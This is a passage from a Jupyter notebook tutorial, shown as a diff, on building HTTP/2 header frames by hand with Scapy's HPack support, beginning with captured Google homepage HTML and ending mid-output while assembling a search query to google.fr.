0_24'};google.kHL='fr';})();(function(){google.lc=[];google.li=0;google.getEI=function(a){for(var b;a&&(!a.getAttribute||!(b=a.getAttribute(\"eid\")));)a=a.parentNode;return b||google.kEI};google.getLEI=function(a){for(var b=null;a&&(!a.getAttribute||!(b=a.getAttribute(\"leid\")));)a=a.parentNode;return b};google.https=function(){return\"https:\"==window.location.protocol};google.ml=function(){return null};google.wl=function(a,b){try{google.ml(Error(a),!1,b)}catch(c){}};google.time=function(){return(new Date).getTime()};google.log=function(a,b,c,d,g){a=google.logUrl(a,b,c,d,g);if(\"\"!=a){b=new Image;var e=google.lc,f=google.li;e[f]=b;b.onerror=b.onload=b.onabort=function(){delete e[f]};window.google&&window.google.vel&&window.google.vel.lu&&window.google.vel.lu(a);b.src=a;google.li=f+1}};google.logUrl=function(a,b,c,d,g){var e=\"\",f=google.ls||\"\";c||-1!=b.search(\"&ei=\")||(e=\"&ei=\"+google.getEI(d),-1==b.search(\"&lei=\")&&(d=google.getLEI(d))&&(e+=\"&lei=\"+d));a=c||\"/\"+(g||\"gen_204\")+\"?atyp=i&ct=\"+a+\"&cad=\"+b+e+f+\"&zx=\"+google.time();/^http:/i.test(a)&&google.https()&&(google.ml(Error(\"a\"),!1,{src:a,glmm:1}),a=\"\");return a};google.y={};google.x=function(a,b){google.y[a.id]=[a,b];return!1};google.lq=[];google.load=function(a,b,c){google.lq.push([[a],b,c])};google.loadAll=function(a,b){google.lq.push([a,b])};}).call(this);var a=window.location,b=a.href.indexOf(\"#\");if(0<=b){var c=a.href.substring(b+1);/(^|&)q=/.test(c)&&-1==c.indexOf(\"#\")&&a.replace(\"/search?\"+c.replace(/(^|&)fp=[^&]*/g,\"\")+\"&cad=h\")};</script><style>#gbar,#guser{font-size:13px;padding-top:1px !important;}#gbar{height:22px}#guser{padding-bottom:7px !important;text-align:right}.gbh,.gbd{border-top:1px solid #c9d7f1;font-size:1px}.gbh{height:0;position:absolute;top:24px;width:100%}@media all{.gb1{height:22px;margin-right:.5em;vertical-align:top}#gbar{float:left}}a.gb1,a.gb4{text-decoration:underline !important}a.gb1,a.gb4{color:#00c !important}.gbi .gb4{color:#dd8e27 !important}.gbf .gb4{color:#900 !important}\n",
- "</style><style>body,td,a,p,.h{font-family:arial,sans-serif}body{margin:0;overflow-y:scroll}#gog{padding:3px 8px 0}td{line-height:.8em}.gac_m td{line-height:17px}form{margin-bottom:20px}.h{color:#36c}.q{color:#00c}.ts td{padding:0}.ts{border-collapse:collapse}em{font-weight:bold;font-style:normal}.lst{height:25px;width:496px}.gsfi,.lst{font:18px arial,sans-serif}.gsfs{font:17px arial,sans-serif}.ds{display:inline-box;display:inline-block;margin:3px 0 4px;margin-left:4px}input{font-family:inherit}a.gb1,a.gb2,a.gb3,a.gb4{color:#11c !important}body{background:#fff;color:black}a{color:#11c;text-decoration:none}a:hover,a:active{text-decoration:underline}.fl a{color:#36c}a:visited{color:#551a8b}a.gb1,a.gb4{text-decoration:underline}a.gb3:hover{text-decoration:none}#ghead a.gb2:hover{color:#fff !important}.sblc{padding-top:5px}.sblc a{display:block;margin:2px 0;margin-left:13px;font-size:11px}.lsbb{background:#eee;border:solid 1px;border-color:#ccc #999 #999 #ccc;height:30px}.lsbb{display:block}.ftl,#fll a{display:inline-block;margin:0 12px}.lsb{background:url(/images/nav_logo229.png) 0 -261px repeat-x;border:none;color:#000;cursor:pointer;height:30px;margin:0;outline:0;font:15px arial,sans-serif;vertical-align:top}.lsb:active{background:#ccc}.lst:focus{outline:none}</style><script></script><link href=\"/images/branding/product/ico/googleg_lodp.ico\" rel=\"shortcut icon\"></head><body bgcolor=\"#fff\"><script>(function(){var src='/images/nav_logo229.png';var iesg=false;document.body.onload = function(){window.n && window.n();if (document.images){new Image().src=src;}\n",
- "if (!iesg){document.f&&document.f.q.focus();document.gbqf&&document.gbqf.q.focus();}\n",
- "}\n",
- "})();</script><div id=\"mngb\"> <div id=gbar><nobr><b class=gb1>Recherche</b> <a class=gb1 href=\"https://www.google.fr/imghp?hl=fr&tab=wi\">Images</a> <a class=gb1 href=\"https://maps.google.fr/maps?hl=fr&tab=wl\">Maps</a> <a class=gb1 href=\"https://play.google.com/?hl=fr&tab=w8\">Play</a> <a class=gb1 href=\"https://www.youtube.com/?gl=FR&tab=w1\">YouTube</a> <a class=gb1 href=\"https://news.google.fr/nwshp?hl=fr&tab=wn\">Actualits</a> <a class=gb1 href=\"https://mail.google.com/mail/?tab=wm\">Gmail</a> <a class=gb1 href=\"https://drive.google.com/?tab=wo\">Drive</a> <a class=gb1 style=\"text-decoration:none\" href=\"https://www.google.fr/intl/fr/options/\"><u>Plus</u> &raquo;</a></nobr></div><div id=guser width=100%><nobr><span id=gbn class=gbi></span><span id=gbf class=gbf></span><span id=gbe></span><a href=\"http://www.google.fr/history/optout?hl=fr\" class=gb4>Historique Web</a> | <a href=\"/preferences?hl=fr\" class=gb4>Paramtres</a> | <a target=_top id=gb_70 href=\"https://accounts.google.com/ServiceLogin?hl=fr&passive=true&continue=https://www.google.fr/\" class=gb4>Connexion</a></nobr></div><div class=gbh style=left:0></div><div class=gbh style=right:0></div> </div><center><br clear=\"all\" id=\"lgpd\"><div id=\"lga\"><div style=\"padding:28px 0 3px\"><div style=\"height:110px;width:276px;background:url(/images/branding/googlelogo/1x/googlelogo_white_background_color_272x92dp.png) no-repeat\" title=\"Google\" align=\"left\" id=\"hplogo\" onload=\"window.lol&&lol()\"><div style=\"color:#777;font-size:16px;font-weight:bold;position:relative;top:70px;left:218px\" nowrap=\"\">France</div></div></div><br></div><form action=\"/search\" name=\"f\"><table cellpadding=\"0\" cellspacing=\"0\"><tr valign=\"top\"><td width=\"25%\">&nbsp;</td><td align=\"center\" nowrap=\"\"><input name=\"ie\" value=\"ISO-8859-1\" type=\"hidden\"><input value=\"fr\" name=\"hl\" type=\"hidden\"><input name=\"source\" type=\"hidden\" value=\"hp\"><input name=\"biw\" type=\"hidden\"><input name=\"bih\" type=\"hidden\"><div class=\"ds\" style=\"height:32px;margin:4px 0\"><input style=\"color:#000;margin:0;padding:5px 8px 0 6px;vertical-align:top\" autocomplete=\"off\" class=\"lst\" value=\"\" title=\"Recherche Google\" maxlength=\"2048\" name=\"q\" size=\"57\"></div><br style=\"line-height:0\"><span class=\"ds\"><span class=\"lsbb\"><input class=\"lsb\" value=\"Recherche Google\" name=\"btnG\" type=\"submit\"></span></span><span class=\"ds\"><span class=\"lsbb\"><input class=\"lsb\" value=\"J'ai de la chance\" name=\"btnI\" onclick=\"if(this.form.q.value)this.checked=1; else top.location='/doodles/'\" type=\"submit\"></span></span></td><td class=\"fl sblc\" align=\"left\" nowrap=\"\" width=\"25%\"><a href=\"/advanced_search?hl=fr&amp;authuser=0\">Recherche avance</a><a href=\"/language_tools?hl=fr&amp;authuser=0\">Outils linguistiques</a></td></tr></table><input id=\"gbv\" name=\"gbv\" type=\"hidden\" value=\"1\"></form><div id=\"gac_scont\"></div><div style=\"font-size:83%;min-height:3.5em\"><br></div><span id=\"footer\"><div style=\"font-size:10pt\"><div style=\"margin:19px auto;text-align:center\" id=\"fll\"><a href=\"/intl/fr/ads/\">Solutions publicitaires</a><a href=\"/services/\">Solutions d'entreprise</a><a href=\"https://plus.google.com/106901486880272202822\" rel=\"publisher\">+Google</a><a href=\"/intl/fr/about.html\"> propos de Google</a><a href=\"https://www.google.fr/setprefdomain?prefdom=US&amp;sig=__OHnMTECkk1MGvXSKgG4G1AmHq5I%3D\" id=\"fehl\">Google.com</a></div></div><p style=\"color:#767676;font-size:8pt\">&copy; 2016 - <a href=\"/intl/fr/policies/privacy/\">Confidentialit</a> - <a href=\"/intl/fr/policies/terms/\">Conditions</a></p></span></center><script>(function(){window.google.cdo={height:0,width:0};(function(){var a=window.innerWidth,b=window.innerHeight;if(!a||!b)var c=window.document,d=\"CSS1Compat\"==c.compatMode?c.documentElement:c.body,a=d.clientWidth,b=d.clientHeight;a&&b&&(a!=google.cdo.width||b!=google.cdo.height)&&google.log(\"\",\"\",\"/client_204?&atyp=i&biw=\"+a+\"&bih=\"+b+\"&ei=\"+google.kEI);}).call(this);})();</script><div id=\"xjsd\"></div><div id=\"xjsi\"><script>(function(){function c(b){window.setTimeout(function(){var a=document.createElement(\"script\");a.src=b;document.getElementById(\"xjsd\").appendChild(a)},0)}google.dljp=function(b,a){google.xjsu=b;c(a)};google.dlj=c;}).call(this);(function(){window.google.xjsrm=[];})();if(google.y)google.y.first=[];if(!google.xjs){window._=window._||{};window._._DumpException=function(e){throw e};if(google.timers&&google.timers.load.t){google.timers.load.t.xjsls=new Date().getTime();}google.dljp('/xjs/_/js/k\\x3dxjs.hp.en_US.WN3XpSz-BG8.O/m\\x3dsb_he,d/rt\\x3dj/d\\x3d1/t\\x3dzcms/rs\\x3dACT90oGvdHa7TL2W_IQX1s5BPxYIHeUvhQ','/xjs/_/js/k\\x3dxjs.hp.en_US.WN3XpSz-BG8.O/m\\x3dsb_he,d/rt\\x3dj/d\\x3d1/t\\x3dzcms/rs\\x3dACT90oGvdHa7TL2W_IQX1s5BPxYIHeUvhQ');google.xjs=1;}google.pmc={\"sb_he\":{\"agen\":true,\"cgen\":true,\"client\":\"heirloom-hp\",\"dh\":true,\"dhqt\":true,\"ds\":\"\",\"fl\":true,\"host\":\"google.fr\",\"isbh\":28,\"jam\":0,\"jsonp\":true,\"lm\":true,\"msgs\":{\"cibl\":\"Effacer la recherche\",\"dym\":\"Essayez avec cette orthographe :\",\"lcky\":\"J\\u0026#39;ai de la chance\",\"lml\":\"En savoir plus\",\"oskt\":\"Outils de saisie\",\"psrc\":\"Cette suggestion a bien t supprime de votre \\u003Ca href=\\\"/history\\\"\\u003Ehistorique Web\\u003C/a\\u003E.\",\"psrl\":\"Supprimer\",\"sbit\":\"Recherche par image\",\"srch\":\"Recherche Google\"},\"nds\":true,\"ovr\":{},\"pq\":\"\",\"refpd\":true,\"rfs\":[],\"scd\":10,\"sce\":5,\"stok\":\"v9hn9ENPV2Cq1VDAu6ud56TzkyQ\"},\"d\":{}};google.y.first.push(function(){if(google.med){google.med('init');google.initHistory();google.med('history');}});if(google.j&&google.j.en&&google.j.xi){window.setTimeout(google.j.xi,0);}\n",
- "</script></div></body></html>"
- ],
- "metadata": {},
- "output_type": "pyout",
- "prompt_number": 119,
- "text": [
- "<IPython.core.display.HTML at 0x7f26f59bf590>"
- ]
- }
- ],
- "prompt_number": 119
- },
- {
- "cell_type": "heading",
- "level": 2,
- "metadata": {},
- "source": [
- "Throwing a query!"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Let's now query Google! For this, we will build a new query without the helpers, to explore the low-level parts of the HTTP/2 Scapy module.\n",
- "First, we will get the cookie that we were given. For this, we will search for the set-cookie header that we received."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "from io import BytesIO\n",
- "sio = BytesIO(stream_txt[1])\n",
- "cookie = [val[len('set-cookie: '):].strip() for val in sio if val.startswith('set-cookie: ')]\n",
- "print(cookie)"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "['NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly']\n"
- ]
- }
- ],
- "prompt_number": 120
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Now, we build the query by hand. Let's create the Header frame, so that we can later stuff all the header \"lines\" in it. This is a new stream, and we already used the stream ids 1 and 3, so we will use the stream id 5, which is the next available. We will set the \"End Stream\" and \"End Headers\" flags. The End Stream flag means that they are no more frames (except header frames...) after this one in this stream. The End Headers flag means that there are no Continuation frames after this frame. Continuation frames can be used to add more headers than one could fit in previous H2HeaderFrame and Continuation frames...\n",
- "\n",
- "Our frame will contain little headers and we set very large limits for this tutorial, so we will skip all the checks, but they should be done! The helpers does them, by the way."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "hdrs_frm = h2.H2Frame(flags={'ES', 'EH'}, stream_id=5)/h2.H2HeadersFrame()"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [],
- "prompt_number": 121
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Then, we have to specify the pseudo headers. These headers are the equivalent of \"GET / HTTP/1.1\\nHost: www.google.fr\" of old.\n",
- "For this, we specify that this is a GET query over HTTPS, along with the path, and the \"authority\", which is the new \"Host:\".The GET Method and the HTTPS scheme are part of the static HPack table, according to RFC7541. Let's get the index of these headers and put them into HPackIndexedHdr packets."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "get_hdr_idx = tblhdr.get_idx_by_name_and_value(':method', 'GET')\n",
- "get_hdr = h2.HPackIndexedHdr(index = get_hdr_idx)\n",
- "get_hdr.show()\n",
- "hdrs_frm.payload.hdrs.append(get_hdr)\n",
- "\n",
- "https_hdr_idx = tblhdr.get_idx_by_name_and_value(':scheme', 'https')\n",
- "https_hdr = h2.HPackIndexedHdr(index = https_hdr_idx)\n",
- "https_hdr.show()\n",
- "hdrs_frm.payload.hdrs.append(https_hdr)"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "###[ HPack Indexed Header Field ]### \n",
- " magic = 1\n",
- " index = 2\n",
- "\n",
- "###[ HPack Indexed Header Field ]### \n",
- " magic = 1\n",
- " index = 7\n",
- "\n"
- ]
- }
- ],
- "prompt_number": 122
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "For the path, we will use \"/search?q=scapy\". The path might be a sensitive value, since it may contain values that we might not want to leak via side-channel attacks (here the query topic). For this reason, we will specify the path using a HPackLitHdrFldWithoutIndexing, which means that we don't want indexing. We also need to set the never_index bit, so that if there are intermediaries between us and the HTTP server, they will not try to compress this header.\n",
- "Before setting this header, though, we have to choose whether we want to compress the *string* \"/search?q=scapy\" using Huffman encoding. Let's compress it and compare its wire-length with the uncompressed version."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "z_str = h2.HPackZString('/search?q=scapy')\n",
- "unz_str = h2.HPackLiteralString('/search?q=scapy')\n",
- "\n",
- "print(len(str(z_str)), len(str(unz_str)))"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "(12, 15)\n"
- ]
- }
- ],
- "prompt_number": 123
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "So the compressed version is smaller. Let's use it, since HTTP/2 is all about performances and compression. \n",
- "\n",
- "\":path\" is the pseudo-header to define the query path. While we don't want to compress the *value* of the query path, the name can be compressed. As it happens, the \":path\" header name is in the static header table. For this reason, we will search of its index, and then build the header."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "path_hdr_idx = tblhdr.get_idx_by_name(':path')\n",
- "path_str = h2.HPackHdrString(data = z_str)\n",
- "path_hdr = h2.HPackLitHdrFldWithoutIndexing(\n",
- " never_index=1, \n",
- " index=path_hdr_idx,\n",
- " hdr_value=path_str\n",
- ")\n",
- "path_hdr.show()\n",
- "hdrs_frm.payload.hdrs.append(path_hdr)"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n",
- " magic = 0\n",
- " never_index= Never Index\n",
- " index = 4\n",
- " \\hdr_value \\\n",
- " |###[ HPack Header String ]### \n",
- " | type = None\n",
- " | len = None\n",
- " | data = 'HPackZString(/search?q=scapy)'\n",
- "\n"
- ]
- }
- ],
- "prompt_number": 124
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "The final missing pseudo-header is the new \"Host\" header, called \":authority\". \":authority\" is in the static header table, so we *could* use it. As it happens, we can do better because we previously indexed \":authority\" *with the value* \"www.google.fr\". Let's search for the index of this entry in the dynamic table. With luck, the server header table size is large enough so that the value is still inside it."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "host_hdr_idx = tblhdr.get_idx_by_name_and_value(':authority', dn)\n",
- "assert(not isinstance(host_hdr_idx, type(None)))\n",
- "print(host_hdr_idx)"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "66\n"
- ]
- }
- ],
- "prompt_number": 125
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "So, the \":authority www.google.fr\" header is still in the dynamic table. Let's add it to the header list."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "host_hdr = h2.HPackIndexedHdr(index=host_hdr_idx)\n",
- "host_hdr.show()\n",
- "hdrs_frm.payload.hdrs.append(host_hdr)"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "###[ HPack Indexed Header Field ]### \n",
- " magic = 1\n",
- " index = 66\n",
- "\n"
- ]
- }
- ],
- "prompt_number": 126
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Now that we added all the pseudo-headers, let's add the \"real\" ones. The compression header is in the static table, so we just need to look it up."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "z_hdr_idx = tblhdr.get_idx_by_name_and_value('accept-encoding', 'gzip, deflate')\n",
- "z_hdr = h2.HPackIndexedHdr(index = z_hdr_idx)\n",
- "z_hdr.show()\n",
- "hdrs_frm.payload.hdrs.append(z_hdr)"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "###[ HPack Indexed Header Field ]### \n",
- " magic = 1\n",
- " index = 16\n",
- "\n"
- ]
- }
- ],
- "prompt_number": 127
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "We also need to create the header for our new cookie. Cookie are sensitive. We don't want it to be indexed and we don't want any intermediate to index it. As such, we will use a HPackLitHdrFldWithoutIndexing and with the never_index bit set, here as well. The name \"cookie\", though, happens to be in the RFC7541 static headers table, so we will use it."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "cookie_hdr_idx = tblhdr.get_idx_by_name('cookie')\n",
- "cookie_str = h2.HPackHdrString(data = h2.HPackZString(cookie[0]))\n",
- "cookie_hdr = h2.HPackLitHdrFldWithoutIndexing(\n",
- " never_index = 1,\n",
- " index = cookie_hdr_idx,\n",
- " hdr_value = cookie_str\n",
- ")\n",
- "cookie_hdr.show()\n",
- "hdrs_frm.payload.hdrs.append(cookie_hdr)"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n",
- " magic = 0\n",
- " never_index= Never Index\n",
- " index = 32\n",
- " \\hdr_value \\\n",
- " |###[ HPack Header String ]### \n",
- " | type = None\n",
- " | len = None\n",
- " | data = 'HPackZString(NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly)'\n",
- "\n"
- ]
- }
- ],
- "prompt_number": 128
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Also, we need to specify that we read French. Once more, the \"accept-language\" header is in the HPack static table, but \"fr-Fr\" might not be. Let's see if we did index that earlier."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "acceptlang_hdr_idx = tblhdr.get_idx_by_name_and_value('accept-language', 'fr-FR')\n",
- "print(acceptlang_hdr_idx)"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "65\n"
- ]
- }
- ],
- "prompt_number": 129
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Excellent! This is an entry of the dynamic table and we can use it in this session! Let's use it with an HPackIndexedHdr packet."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "acceptlang_hdr = h2.HPackIndexedHdr(index = acceptlang_hdr_idx)\n",
- "acceptlang_hdr.show()\n",
- "hdrs_frm.payload.hdrs.append(acceptlang_hdr)"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "###[ HPack Indexed Header Field ]### \n",
- " magic = 1\n",
- " index = 65\n",
- "\n"
- ]
- }
- ],
- "prompt_number": 130
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Let's do the same thing quickly for the other headers."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "accept_hdr_idx = tblhdr.get_idx_by_name_and_value('accept', 'text/html')\n",
- "accept_hdr = h2.HPackIndexedHdr(index = accept_hdr_idx)\n",
- "accept_hdr.show()\n",
- "hdrs_frm.payload.hdrs.append(accept_hdr)\n",
- "ua_hdr_idx = tblhdr.get_idx_by_name_and_value('user-agent', 'Scapy HTTP/2 Module')\n",
- "ua_hdr = h2.HPackIndexedHdr(index = ua_hdr_idx)\n",
- "ua_hdr.show()\n",
- "hdrs_frm.payload.hdrs.append(ua_hdr)"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "###[ HPack Indexed Header Field ]### \n",
- " magic = 1\n",
- " index = 64\n",
- "\n",
- "###[ HPack Indexed Header Field ]### \n",
- " magic = 1\n",
- " index = 63\n",
- "\n"
- ]
- }
- ],
- "prompt_number": 131
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Now, we forget a piece in our previous queries regarding privacy: I want to add a Do Not Track header (https://tools.ietf.org/html/draft-mayer-do-not-track-00). Let's add this header into every subsequent queries. For this reason, I want to have it indexed. It is worth noting that the \"DNT\" header is not part of the HPack static table (how curious?). Finally, the value of this header is just 1. We might actually save a few bits by NOT compressing this value."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "dnt_name_str = h2.HPackLiteralString('dnt')\n",
- "dnt_val_str = h2.HPackLiteralString('1')\n",
- "dnt_name = h2.HPackHdrString(data = dnt_name_str)\n",
- "dnt_value = h2.HPackHdrString(data = dnt_val_str)\n",
- "dnt_hdr = h2.HPackLitHdrFldWithIncrIndexing(\n",
- " hdr_name = dnt_name,\n",
- " hdr_value = dnt_value\n",
- ")\n",
- "dnt_hdr.show()\n",
- "hdrs_frm.payload.hdrs.append(dnt_hdr)"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "###[ HPack Literal Header With Incremental Indexing ]### \n",
- " magic = 1\n",
- " index = 0\n",
- " \\hdr_name \\\n",
- " |###[ HPack Header String ]### \n",
- " | type = None\n",
- " | len = None\n",
- " | data = 'HPackLiteralString(dnt)'\n",
- " \\hdr_value \\\n",
- " |###[ HPack Header String ]### \n",
- " | type = None\n",
- " | len = None\n",
- " | data = 'HPackLiteralString(1)'\n",
- "\n"
- ]
- }
- ],
- "prompt_number": 132
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "We are not done yet with the DNT header, though. We also need to insert it into the HPack Dynamic table, so that later lookups will find it."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "tblhdr.register(dnt_hdr)"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [],
- "prompt_number": 133
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Phew! We made it! Let's see what we got so far."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "hdrs_frm.show2()"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "###[ HTTP/2 Frame ]### \n",
- " len = 0xc5\n",
- " type = HdrsFrm\n",
- " flags = set(['End Stream (ES)', 'End Headers (EH)'])\n",
- " reserved = 0L\n",
- " stream_id = 5L\n",
- "###[ HTTP/2 Headers Frame ]### \n",
- " \\hdrs \\\n",
- " |###[ HPack Indexed Header Field ]### \n",
- " | magic = 1\n",
- " | index = 2\n",
- " |###[ HPack Indexed Header Field ]### \n",
- " | magic = 1\n",
- " | index = 7\n",
- " |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n",
- " | magic = 0\n",
- " | never_index= Never Index\n",
- " | index = 4\n",
- " | \\hdr_value \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Compressed\n",
- " | | len = 12\n",
- " | | data = 'HPackZString(/search?q=scapy)'\n",
- " |###[ HPack Indexed Header Field ]### \n",
- " | magic = 1\n",
- " | index = 66\n",
- " |###[ HPack Indexed Header Field ]### \n",
- " | magic = 1\n",
- " | index = 16\n",
- " |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n",
- " | magic = 0\n",
- " | never_index= Never Index\n",
- " | index = 32\n",
- " | \\hdr_value \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Compressed\n",
- " | | len = 165\n",
- " | | data = 'HPackZString(NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly)'\n",
- " |###[ HPack Indexed Header Field ]### \n",
- " | magic = 1\n",
- " | index = 65\n",
- " |###[ HPack Indexed Header Field ]### \n",
- " | magic = 1\n",
- " | index = 64\n",
- " |###[ HPack Indexed Header Field ]### \n",
- " | magic = 1\n",
- " | index = 63\n",
- " |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | magic = 1\n",
- " | index = 0\n",
- " | \\hdr_name \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Literal\n",
- " | | len = 3\n",
- " | | data = 'HPackLiteralString(dnt)'\n",
- " | \\hdr_value \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Literal\n",
- " | | len = 1\n",
- " | | data = 'HPackLiteralString(1)'\n",
- "\n"
- ]
- }
- ],
- "prompt_number": 134
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Oh! Just for comparison, we would have got about the same result using the helpers (modulo some safety checks that we did not do here...)."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "tblhdr.parse_txt_hdrs(\n",
- " ''':method GET\n",
- ":scheme https\n",
- ":path /search?q=scapy\n",
- ":authority www.google.fr\n",
- "accept-encoding: gzip, deflate\n",
- "cookie: {}\n",
- "accept-language: fr-FR\n",
- "accept: text/html\n",
- "user-agent: Scapy HTTP/2 Module\n",
- "dnt: 1\n",
- "'''.format(cookie),\n",
- " stream_id=5,\n",
- " max_frm_sz=srv_max_frm_sz,\n",
- " max_hdr_lst_sz=srv_max_hdr_lst_sz,\n",
- " is_sensitive=lambda hdr_name, hdr_val: hdr_name in ['cookie', ':path'],\n",
- " should_index=lambda x: x in [\n",
- " 'x-requested-with', \n",
- " 'user-agent', \n",
- " 'accept-language',\n",
- " 'host',\n",
- " 'accept',\n",
- " ':authority',\n",
- " 'dnt'\n",
- " ]\n",
- ").show2()"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "###[ HTTP/2 Frame Sequence ]### \n",
- " \\frames \\\n",
- " |###[ HTTP/2 Frame ]### \n",
- " | len = 0xdc\n",
- " | type = HdrsFrm\n",
- " | flags = set(['End Stream (ES)', 'End Headers (EH)'])\n",
- " | reserved = 0L\n",
- " | stream_id = 5L\n",
- " |###[ HTTP/2 Headers Frame ]### \n",
- " | \\hdrs \\\n",
- " | |###[ HPack Indexed Header Field ]### \n",
- " | | magic = 1\n",
- " | | index = 2\n",
- " | |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n",
- " | | magic = 0\n",
- " | | never_index= Never Index\n",
- " | | index = 4\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Compressed\n",
- " | | | len = 30\n",
- " | | | data = 'HPackZString(/?gfe_rd=cr&ei=2B1IWOeIDujt8weIvIH4BQ)'\n",
- " | |###[ HPack Indexed Header Field ]### \n",
- " | | magic = 1\n",
- " | | index = 67\n",
- " | |###[ HPack Indexed Header Field ]### \n",
- " | | magic = 1\n",
- " | | index = 7\n",
- " | |###[ HPack Indexed Header Field ]### \n",
- " | | magic = 1\n",
- " | | index = 16\n",
- " | |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | | magic = 1\n",
- " | | index = 17\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Compressed\n",
- " | | | len = 4\n",
- " | | | data = 'HPackZString(en-US)'\n",
- " | |###[ HPack Indexed Header Field ]### \n",
- " | | magic = 1\n",
- " | | index = 66\n",
- " | |###[ HPack Indexed Header Field ]### \n",
- " | | magic = 1\n",
- " | | index = 65\n",
- " | |###[ HPack Indexed Header Field ]### \n",
- " | | magic = 1\n",
- " | | index = 63\n",
